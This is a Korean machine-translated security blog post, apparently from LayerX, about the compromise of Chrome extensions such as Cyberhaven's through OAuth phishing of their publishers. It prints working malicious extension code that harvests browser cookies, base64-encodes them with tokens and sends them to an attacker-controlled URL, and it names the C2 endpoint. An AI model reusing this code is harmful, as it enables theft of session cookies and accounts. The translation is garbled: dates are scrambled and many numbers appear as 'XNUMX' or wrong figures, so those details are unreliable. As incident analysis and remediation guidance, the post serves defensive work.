최종 업데이트 날짜: 30년 2024월 XNUMX일
이 블로그 스레드는 Chrome 웹 스토어의 브라우저 확장 프로그램을 표적으로 삼은 전 세계적 공격 캠페인을 추적하고 있습니다. 새로운 세부 정보가 나오면 업데이트하겠습니다.
제품 개요
27년 2024월 25일, 사이버 보안 스타트업 Cyberhaven은 공격으로 인해 브라우저 확장 프로그램이 손상되어 악성 코드가 주입되었다고 공개했습니다. 이 공격에 대한 세부 정보가 공개되자 추가로 손상된 브라우저 확장 프로그램이 빠르게 발견되었으며, 현재 XNUMX개 이상의 확장 프로그램이 영향을 받은 것으로 알려져 있습니다.
아래의 실시간 스레드에서는 현재 알려진 모든 세부 정보, 영향을 받은 확장 프로그램, 조직이 스스로를 보호해야 하는 방법, 그리고 LayerX가 이 공격으로 인해 손상된 확장 프로그램을 처리하는 데 고객을 돕는 방법에 대해 설명합니다.
이 문서 내부의 빠른 링크:
- 공격이 발견된 방법
- 공격이 수행된 방법
- 공격의 기술적 분석
- 추가적으로 영향을 받는 확장
- 자신을 보호하는 방법
- LayerX가 고객이 자신을 보호하도록 돕는 방법
- 손상된 확장에 대한 무료 감사 및 수정
공격이 발견된 방법
27년 2024월 400,000일, Cyberhaven은 Cyberhaven 직원의 자격 증명이 침해되어 Chrome 스토어에 악성 버전의 Cyberhaven 브라우저 확장 프로그램을 푸시하는 데 사용된 보안 침해에 대해 고객에게 알렸습니다. Cyberhaven 보안 확장 프로그램은 현재 XNUMX명 이상의 사용자를 보유하고 있으며, 이 침해로 인해 영향을 받은 것으로 추정됩니다.
사건 소식은 사이버 보안 블로그 Vulnu의 첫 번째 보고서, Cyberhaven이 고객에게 보낸 이메일 사본을 입수했습니다.
Cyberhaven의 분석에 따르면, 24월 XNUMX일에 피싱 공격을 받아 직원 한 명이 침해당했으며, 공격자는 Chrome 웹 스토어에서 해당 회사의 브라우저 확장 프로그램에 액세스할 수 있었습니다.
공격자는 이러한 접근 권한을 활용하여 Cyberhaven 브라우저 확장 프로그램의 악성 버전을 업로드하고 25월 XNUMX일 이른 아침에 Chrome 스토어에 업데이트했습니다.
Cyberhaven에 따르면, 악성 업데이트는 약 하루 후에 감지되었고, 악성 코드는 26월 24일 이른 아침에 제거되었습니다. 전반적으로 악성 버전은 XNUMX시간 넘게 온라인 상태였습니다.
그러나 추가적인 확장 프로그램이 손상되었다는 사실이 드러나면서 Cyberhaven 공격이 이 회사만을 표적으로 삼은 고립된 공격이 아니라 광범위한 캠페인의 일부라는 것이 분명해졌습니다.
이로 인해 사이버헤이븐 사건에 대한 분석은 캠페인 전체를 이해하는 데 도움이 됩니다.
공격이 수행된 방법
Cyberhaven 브라우저 확장 프로그램의 관리자 계정이 타깃형 피싱 공격을 통해 손상되었으며, 공격을 받은 사람은 악성 버전을 게시할 수 있었습니다.
이 사건은 단 한 번의 공격이 아니라 여러 확장 프로그램을 타겟으로 하는 캠페인의 일부였기 때문에 Cyberhaven을 공격하는 데 사용된 피싱 접근 방식이 다른 모든 확장 프로그램에도 동일하게 적용되었을 것으로 추정됩니다.
피싱 캠페인의 가장 유력한 타깃은 Chrome 웹 스토어 자체입니다.
각 확장 프로그램에 대해 Chrome 스토어는 확장 프로그램 게시자의 세부 정보와 연락처 이메일 주소를 제공합니다.
Chrome 웹 스토어의 Cyberhaven 브라우저 확장 프로그램의 샘플 연락처 정보
공격자는 이러한 이메일 주소를 사용해 Google을 대신하여 보낸 것처럼 가장한 스푸핑 이메일을 발송하여 수신자에게 계정의 '위반 사항'에 대해 경고했습니다.
이는 회사가 Cyberhaven에 제공한 피싱 이메일 사본입니다. 사건의 기술적 분석:
그러나 다른 출처에서도 유사한 이메일이 나타났습니다. Chromium.org 토론 그룹의 스레드 Google에서 보낸 것으로 추정되는 의심스러운 이메일에 대해 피싱 시도인지 알아보기 위해 질문했습니다.
이 이메일은 Cyberhaven을 침해한 이메일과 거의 동일하며(다만 '위반' 사유는 다르게 나열되어 있어 동일한 피싱 캠페인의 일부였음을 나타냄) 게시물에 따르면 이 이메일은 Cyberhaven이 침해된 즈음인 23월 XNUMX일에 수신되었습니다.
의도한 대상이 이메일 링크를 클릭하면 Google 권한 부여 양식으로 이동하여 "개인정보 보호정책 확장"이라는 이름의 OAuth Google 애플리케이션을 추가합니다.
이 승인 흐름을 따르면 악성 타사 OAuth 애플리케이션이 승인되고 피해자의 Chrome 웹 스토어 계정에 대한 액세스 권한이 부여됩니다. 그러나 공격이 설계된 방식 때문에 공격자는 계정 자격 증명(즉, 비밀번호) 자체를 손상시킬 필요가 없었고 악성 애플리케이션에서 부여한 권한을 '편승'하기만 하면 되었습니다.
공격의 기술적 분석
공격자는 피해자의 웹 스토어 계정에 접근한 후, 확장 프로그램의 worker.js 파일에 코드를 삽입해 외부 URL(cyberhavenext[.]pro)에 접근하고 외부 구성 파일을 다운로드했습니다.
브라우저가 시작될 때마다 확장 프로그램은 원격 서버에서 구성 파일을 가져옵니다. 이 파일은 확장 프로그램의 동작을 제어하며 공격자가 동적으로 업데이트하여 지시할 수 있습니다. 뭐 언제 동작이 발생합니다. 공격자는 언제든지 구성 파일을 전환하세요, 공격을 다양한 환경이나 대상에 동적으로 적응시킬 수 있게 해줍니다. 이것이 공격의 유연성의 핵심입니다.
다음은 이러한 코드의 예입니다.
코드의 주요 통찰력:
- 여러 확장에 걸쳐 주입됨: 악성 코드는 단일 확장자에 국한되지 않습니다. 대신 여러 확장자에 주입되었으며, 각 확장자는 고유한 구성 파일을 가져옵니다. 이 전략을 통해 공격자는 공격 벡터를 다양화하고, 다양한 확장자에 대한 동작을 사용자 정의하고, 탐지를 더 어렵게 만들 수 있습니다.
- 반복되는 행동: 구성 가져오기는 브라우저가 시작될 때마다 발생하며, 이를 통해 각 확장 프로그램이 항상 공격자가 제공한 최신 지침에 따라 작동하도록 보장합니다.
- 기만적인 명명: 코드는 다음과 같은 변수 또는 속성 이름을 사용합니다. 사이버헤븐익스트_익스트_매니지, 회사 이름이 포함되어 있습니다. 이를 통해 확장 프로그램의 저장소나 코드를 검사하는 개발자에게 합법적인 것처럼 보입니다.
- 로컬 스토리지 남용: 구성 데이터를 저장하여 크롬.스토리지.로컬, 공격자는 지속성을 보장합니다. 이 데이터를 검사하는 개발자는 익숙하거나 믿을 만한 이름을 사용하기 때문에 실수로 신뢰할 수 있습니다.
- 동적 제어: 종점 (https://cyberhavenext.pro/ai-cyberhaven)을 통해 공격자는 언제든지 각 확장 프로그램의 구성 파일을 수정하여 감염된 모든 확장 프로그램의 기능과 동작을 완벽하게 제어할 수 있습니다.
- 맞춤형 구성: 각 확장 기능은 고유한 구성을 검색하여 악성 동작을 일반화하고 감지하기 어렵게 만듭니다. 이 접근 방식은 확장 기능의 특정 목적이나 사용자 기반에 따라 맞춤형 공격을 허용합니다.
또한, 이 코드는 확장 프로그램에 새 파일(content.js)을 추가했는데, 이는 웹사이트에서 사용자 데이터를 수집하여 외부 웹사이트로 빼내는 데 사용됩니다. 확장 프로그램의 백그라운드 스크립트는 중앙 컨트롤러로 작동하여 콘텐츠 스크립트에서 들어오는 메시지를 처리하고 해당 메시지에 따라 다양한 작업을 수행합니다. 다음 코드 조각은 여러 유형의 요청을 처리하기 위해 기다리는 유연한 구조를 보여줍니다.
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))
스크립트 사용 chrome.runtime.onMessage.addListener 다양한 동작을 처리합니다. 각 동작은 네트워크 요청과 같은 특정 동작을 정의합니다.
때 "cyberhavenext-check-errors” 동작이 호출되면 공격자는 다음을 사용하여 중요한 쿠키를 검색합니다. chrome.cookies.getAll 공격자는 또한 이 데이터를 다른 정보(예:)와 결합합니다. navigator[c] e.uid) 공격자는 다음을 사용하여 콘텐츠를 숨깁니다. btoa() base64로 변환하기 위해서입니다. 이렇게 하면 네트워크 모니터링 도구에서 데이터를 읽기 어렵게 만들고 난독화 계층을 추가합니다.
공격자는 이러한 동작을 백그라운드 스크립트에 내장하여 다음을 보장합니다.
- 악성 활동은 사용자 상호작용과 무관합니다.
- 이러한 현상은 배경에서 조용히 발생하기 때문에 감지하기가 어렵습니다.
Cyberhaven이 노출된 엔드포인트에서 수행한 분석에 따르면 악성 코드는 Facebook의 쿠키와 인증 토큰, 특히 Facebook 비즈니스 계정에 초점을 맞춘 것으로 나타났습니다.
Cyberhaven에 따르면, 타깃 데이터에는 Facebook 액세스 토큰, 사용자 ID, 계정 정보, Facebook 광고 계정 세부 정보가 포함되었습니다.
추가적으로 영향을 받는 확장
악성 C&C 서버의 URL이 식별되자 보안 연구원들은 역방향 DNS를 사용하여 동일한 IP 주소로 확인된 추가 도메인을 식별했습니다. 이로 인해 추가로 손상된 브라우저 확장 프로그램 발견 그리고 이 공격 캠페인의 규모를 공개했습니다.
현재, 설치 기반이 25만 명이 넘는 사용자를 보유한 2.3개 이상의 브라우저 확장 프로그램이 손상된 것으로 밝혀졌습니다.
- AI Assistant – Chrome용 ChatGPT 및 Gemini
- AI 숍 버디
- 바드 AI 채팅
- 북마크 파비콘 체인저
- 카스토루스
- ChatGPT Assistant – 스마트 검색
- Cyberhaven 보안 확장 V3
- Earny – 최대 20% 캐시백
- 이메일 헌터
- OpenAI를 사용한 GPT 4 요약
- GraphQL 네트워크 검사기
- 인터넷 VPN
- 키보드 기록 기록기
- 앵무새 이야기
- 감독 장
- 리더 모드
- 보상 검색 자동화
- Chrome용 Copilot AI Assistant 검색
- 가장 오래된 순으로 정렬
- Tacker – 온라인 키로거 도구
- TinaMind – GPT-4o 기반 AI 도우미!
- 유보이스
- VidHelper – 비디오 다운로더
- Vidnoz Flex – 비디오 레코더 및 비디오 공유
- Google Meet 용 시각 효과
- VPN시티
- 웨이인 AI
자신을 보호하는 방법
지금까지의 기술적 분석에 따르면 이 캠페인의 주 목적은 Facebook 사용자 인증 정보와 액세스 토큰을 도용하는 것이지만, 다른 웹사이트의 사용자 인증 정보가 노출되었을 가능성을 배제할 수 없습니다.
이것이 LayerX가 영향을 받는 모든 사용자에게 다음 조치를 권장하는 이유입니다.
- 영향을 받는 브라우저 확장 프로그램 제거: 영향을 받는 모든 확장 프로그램이 제거되거나 차단되었는지 확인하세요. 일부 확장 프로그램은 이미 악성 코드를 제거한 업데이트 버전을 업로드했지만, 모든 확장 프로그램은 그렇지 않습니다. 게다가 이미 다운로드된 손상된 확장 프로그램은 사용자가 확장 버전을 업데이트할 때까지 노출된 상태로 유지됩니다. 따라서 잠재적으로 노출된 모든 확장 프로그램을 적극적으로 비활성화하는 것이 중요합니다.
- 모든 확장 프로그램을 최신 버전으로 업데이트하세요: 게시자가 수정판을 발행한 경우, 해당 확장 프로그램의 설치된 버전을 가능한 한 빨리 업데이트하는 것이 중요합니다(아직 제거되지 않았다고 가정).
- 영향을 받은 사용자의 모든 쿠키를 삭제합니다.: 이 공격은 웹사이트의 쿠키와 액세스 토큰을 표적으로 삼았으므로, 모든 기존 쿠키를 삭제하고 액세스 토큰을 새로 고치는 것이 필수적입니다.
- 비밀번호 회전: 모범 사례로서, 영향을 받는 사용자의 모든 비밀번호를 새로 고쳐서 액세스 자격 증명이 손상되지 않도록 하는 것이 좋습니다.
LayerX가 고객을 돕는 방법
- 노출된 확장 기능의 발견: Cyberhaven 사건이 폭로된 이후, 전 세계의 보안 연구원들은 추가로 침해된 확장 프로그램을 식별하기 위해 노력해 왔습니다. LayerX는 이러한 노력에 적극적으로 참여하여 여러 확장 프로그램을 발견하고 공개적으로 사용 가능한 정보와 결합했습니다.
- 고객 네트워크에 배포된 악성 확장 프로그램 감지: LayerX는 이 침해로 인해 손상된 것으로 밝혀진 확장 프로그램을 포함하도록 악성 확장 프로그램 목록을 지속적으로 업데이트해 왔습니다. 이러한 확장 프로그램이 발견될 때마다 고객에게 즉시 알림이 전송됩니다. 또한 LayerX는 영향을 받은 고객에게 적극적으로 연락하여 이러한 발견 사항을 알리고 있습니다.
- 자동 시행 정책 배포: LayerX는 알려진 손상된 확장 프로그램을 자동으로 비활성화하기 위해 고객 정책을 업데이트했습니다.
- 노출된 사용자의 쿠키 삭제: 사용자 요청에 따라 LayerX는 노출된 사용자의 쿠키를 적극적으로 삭제하여 쿠키 및 인증 토큰을 재설정할 수 있습니다.
- 노출된 사용자에 대한 강제 암호 회전: LayerX는 노출된 사용자의 비밀번호를 강제로 교체하는 보안 정책을 배포하여 액세스 자격 증명이 노출되지 않도록 할 수도 있습니다.
손상된 확장에 대한 무료 감사 및 수정
이 공격의 폭과 범위로 인해 LayerX는 이 공격의 영향을 받은(또는 잠재적으로 영향을 받을 것을 걱정하는) 조직에 무료 브라우저 확장 프로그램 감사 및 수정을 제공합니다.
이 감사에는 다음이 포함됩니다.
- 사용자 환경에 설치된 모든 브라우저 확장 프로그램 검색
- 각 사용자가 엔드포인트에 어떤 확장 프로그램을 설치했는지 매핑
- 모든 브라우저 확장 프로그램의 자세한 위험 점수
- 손상된 악성 브라우저 확장 프로그램 제거
- 필요한 경우 사용자 쿠키 및 비밀번호 회전
더 알아보기 이 평가에 등록하려면






